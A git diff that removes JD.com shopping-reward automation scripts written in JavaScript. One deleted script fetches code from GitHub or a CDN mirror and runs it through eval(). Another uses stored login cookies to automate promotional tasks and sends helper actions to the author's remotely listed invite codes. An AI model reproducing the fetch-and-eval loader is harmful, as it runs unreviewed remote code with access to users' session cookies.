t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_rankingList.js b/activity/jd_rankingList.js deleted file mode 100644 index f10e517..0000000 --- a/activity/jd_rankingList.js +++ /dev/null @@ -1,60 +0,0 @@ -/* - -活动入口:京东APP首页-更多频道-排行榜-悬浮按钮 - -自用 -author:yangtingxiao -github: https://github.com/yangtingxiao - */ -const $ = new Env('京东排行榜'); -main(); -async function main() { - $.http.get({url: `https://purge.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_rankingList.js`}).then((resp) => { - if (resp.statusCode === 200) { - console.log(`${$.name}CDN缓存刷新成功`) - } - }); - await updateShareCodes(); - if (!$.body) await scriptsCDN(); - if ($.body) { - eval($.body); - } -} -function updateShareCodes(url = 'https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') { - return new Promise(resolve => { - $.get({url}, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - } else { - $.body = data; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function scriptsCDN(url = 'https://raw.fastgit.org/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') { - return new Promise(resolve => { - $.get({url}, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.body = data; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_small_home.js b/activity/jd_small_home.js deleted file mode 100644 index bebda37..0000000 --- a/activity/jd_small_home.js +++ /dev/null @@ -1,929 +0,0 @@ -/* -东东小窝 jd_small_home.js -Last Modified time: 2021-6-27 13:27:20 -现有功能: -做日常任务任务,每日抽奖(有机会活动京豆,使用的是免费机会,不消耗WO币) -自动使用WO币购买装饰品可以获得京豆,分别可获得5,20,50,100,200,400,700,1200京豆) - -注:目前使用此脚本会给脚本内置的两个码进行助力,请知晓 - -活动入口:京东APP我的-游戏与更多-东东小窝 -或 京东APP首页-搜索 玩一玩-DIY理想家 -微信小程序入口: -来客有礼 - > 首页 -> 东东小窝 -网页入口(注:进入后不能再此刷新,否则会有问题,需重新输入此链接进入) -https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html - -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -===============Quantumultx=============== -[task_local] -#东东小窝 -16 22 * * * jd_small_home.js, tag=东东小窝, img-url=https://raw.githubusercontent.com/58xinian/icon/master/ddxw.png, enabled=true - -================Loon============== -[Script] -cron "16 22 * * *" script-path=jd_small_home.js, tag=东东小窝 - -===============Surge================= -东东小窝 = type=cron,cronexp="16 22 * * *",wake-system=1,timeout=3600,script-path=jd_small_home.js - -============小火箭========= -东东小窝 = type=cron,script-path=jd_small_home.js, cronexpr="16 22 * * *", timeout=3600, enable=true - */ -const $ = new Env('东东小窝'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = ''; -let isPurchaseShops = false;//是否一键加购商品到购物车,默认不加购 -$.helpToken = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -$.newShareCodes = []; -const JD_API_HOST = 'https://lkyl.dianpusoft.cn/api'; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await smallHome(); - } - } - $.inviteCodes = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateSmallHomeInviteCode.json') - if (!$.inviteCodes) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateSmallHomeInviteCode.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - $.inviteCodes = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateSmallHomeInviteCode.json') - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.token = $.helpToken[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if ($.newShareCodes.length > 1) { - // console.log('----', (i + 1) % $.newShareCodes.length) - let code = $.newShareCodes[(i + 1) % $.newShareCodes.length]['code'] - console.log(`\n${$.UserName} 去给自己的下一账号 ${decodeURIComponent($.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/) && $.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/)[1])}助力,助力码为 ${code}`) - await createAssistUser(code, $.createAssistUserID); - } - await helpFriends(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function smallHome() { - try { - await loginHome(); - await ssjjRooms(); - // await helpFriends(); - if (!$.isUnLock) return; - await createInviteUser(); - await queryDraw(); - await lottery(); - await doAllTask(); - await queryByUserId(); - await queryFurnituresCenterList(); - await showMsg(); - } catch (e) { - $.logErr(e) - } -} -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} -async function lottery() { - if ($.freeDrawCount > 0) { - await drawRecord($.lotteryId); - } else { - console.log(`免费抽奖机会今日已使用\n`) - } -} - -async function doChannelsListTask(taskId, taskType) { - await queryChannelsList(taskId); - for (let item of $.queryChannelsList) { - if (item.showOrder === 1) { - await $.wait(1000) - await followChannel(taskId, item.id) - await queryDoneTaskRecord(taskId, taskType); - } - } -} -async function helpFriends() { - // await updateInviteCode(); - // if (!$.inviteCodes) await updateInviteCodeCDN(); - if ($.inviteCodes && $.inviteCodes['inviteCode'] && $.inviteCodes['inviteCode'].length) { - console.log(`\n去帮助作者\n`) - for (let item of $.inviteCodes.inviteCode) { - if (!item) continue - await createAssistUser(item, $.createAssistUserID); - } - } -} -async function doAllTask() { - await queryAllTaskInfo();//获取任务详情列表$.taskList - console.log(` 任务名称 完成进度 `) - for (let item of $.taskList) { - console.log(`${item.ssjjTaskInfo.name} ${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || (item.ssjjTaskInfo.type === 1 ? 4: 1)}`) - } - for (let item of $.taskList) { - if (item.ssjjTaskInfo.type === 1) { - //邀请好友助力自己 - $.createAssistUserID = item.ssjjTaskInfo.id; - // console.log(`createAssistUserID:${item.ssjjTaskInfo.id}`) - console.log(`\n\n助力您的好友:${item.doneNum}人\n\n`); - } - if (item.ssjjTaskInfo.type === 2) { - //每日打卡 - if (item.doneNum >= (item.ssjjTaskInfo.awardOfDayNum || 1)) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || 1}]`) - continue - } - await clock(item.ssjjTaskInfo.id, item.ssjjTaskInfo.awardWoB) - } - // 限时连连看 - if (item.ssjjTaskInfo.type === 3) { - if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { - await game(item.ssjjTaskInfo.id, item.doneNum); - } - } - if (item.ssjjTaskInfo.type === 4) { - //关注店铺 - if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { - await followShops('followShops', item.ssjjTaskInfo.id);//一键关注店铺 - await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); - } - } - if (item.ssjjTaskInfo.type === 5) { - //浏览店铺 - if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { - await browseChannels('browseShops', item.ssjjTaskInfo.id, item.browseId); - } - } - if (item.ssjjTaskInfo.type === 6) { - //关注4个频道 - if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - await doChannelsListTask(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type) - } - if (item.ssjjTaskInfo.type === 7) { - //浏览3个频道 - if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { - await browseChannels('browseChannels', item.ssjjTaskInfo.id, item.browseId); - } - } - isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops); - if (isPurchaseShops && item.ssjjTaskInfo.type === 9) { - //加购商品 - if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { - await followShops('purchaseCommodities', item.ssjjTaskInfo.id);//一键加购商品 - await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); - } - } - if (item.ssjjTaskInfo.type === 10) { - //浏览商品 - if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { - await browseChannels('browseCommodities', item.ssjjTaskInfo.id, item.browseId); - } - } - if (item.ssjjTaskInfo.type === 11) { - //浏览会场 - if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { - await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); - } - // await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); - // await doAllTask(); - } - } -} -function queryFurnituresCenterList() { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-furnitures-center/queryFurnituresCenterList`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - let { buy, list } = data.body; - $.canBuyList = []; - list.map((item, index) => { - if (buy.some((buyItem) => buyItem === item.id)) return - $.canBuyList.push(item); - }) - $.canBuyList.sort(sortByjdBeanNum); - if ($.canBuyList[0].needWoB <= $.woB) { - await furnituresCenterPurchase($.canBuyList[0].id, $.canBuyList[0].jdBeanNum); - } else { - console.log(`\n兑换${$.canBuyList[0].jdBeanNum}京豆失败:当前wo币${$.woB}不够兑换所需的${$.canBuyList[0].needWoB}WO币`) - message += `【装饰领京豆】兑换${$.canBuyList[0].jdBeanNum}京豆失败,原因:WO币不够\n`; - } - // for (let canBuyItem of $.canBuyList) { - // if (canBuyItem.needWoB <= $.woB) { - // await furnituresCenterPurchase(canBuyItem.id, canBuyItem.jdBeanNum); - // break - // } - // } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//装饰领京豆 -function furnituresCenterPurchase(id, jdBeanNum) { - return new Promise(resolve => { - $.post(taskPostUrl(`ssjj-furnitures-center/furnituresCenterPurchase/${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - message += `【装饰领京豆】${jdBeanNum}兑换成功\n`; - await notify.sendNotify($.name, `【京东账号 ${$.index}】 ${$.UserName || $.nickName}\n【装饰领京豆】${jdBeanNum}兑换成功`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//获取详情 -function queryByUserId() { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-wo-home-info/queryByUserId/2`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - message += `【小窝名】${data.body.name}\n`; - $.woB = data.body.woB; - message += `【当前WO币】${data.body.woB}\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//获取需要关注的频道列表 -function queryChannelsList(taskId) { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-task-channels/queryChannelsList/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - $.queryChannelsList = data.body; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//浏览频道,浏览会场,浏览商品,浏览店铺API -function browseChannels(functionID ,taskId, browseId) { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}/${browseId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - console.log(`${functionID === 'browseChannels' ? '浏览频道' : functionID === 'browseMeetings' ? '浏览会场' : functionID === 'browseShops' ? '浏览店铺' : '浏览商品'}`, data) - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} 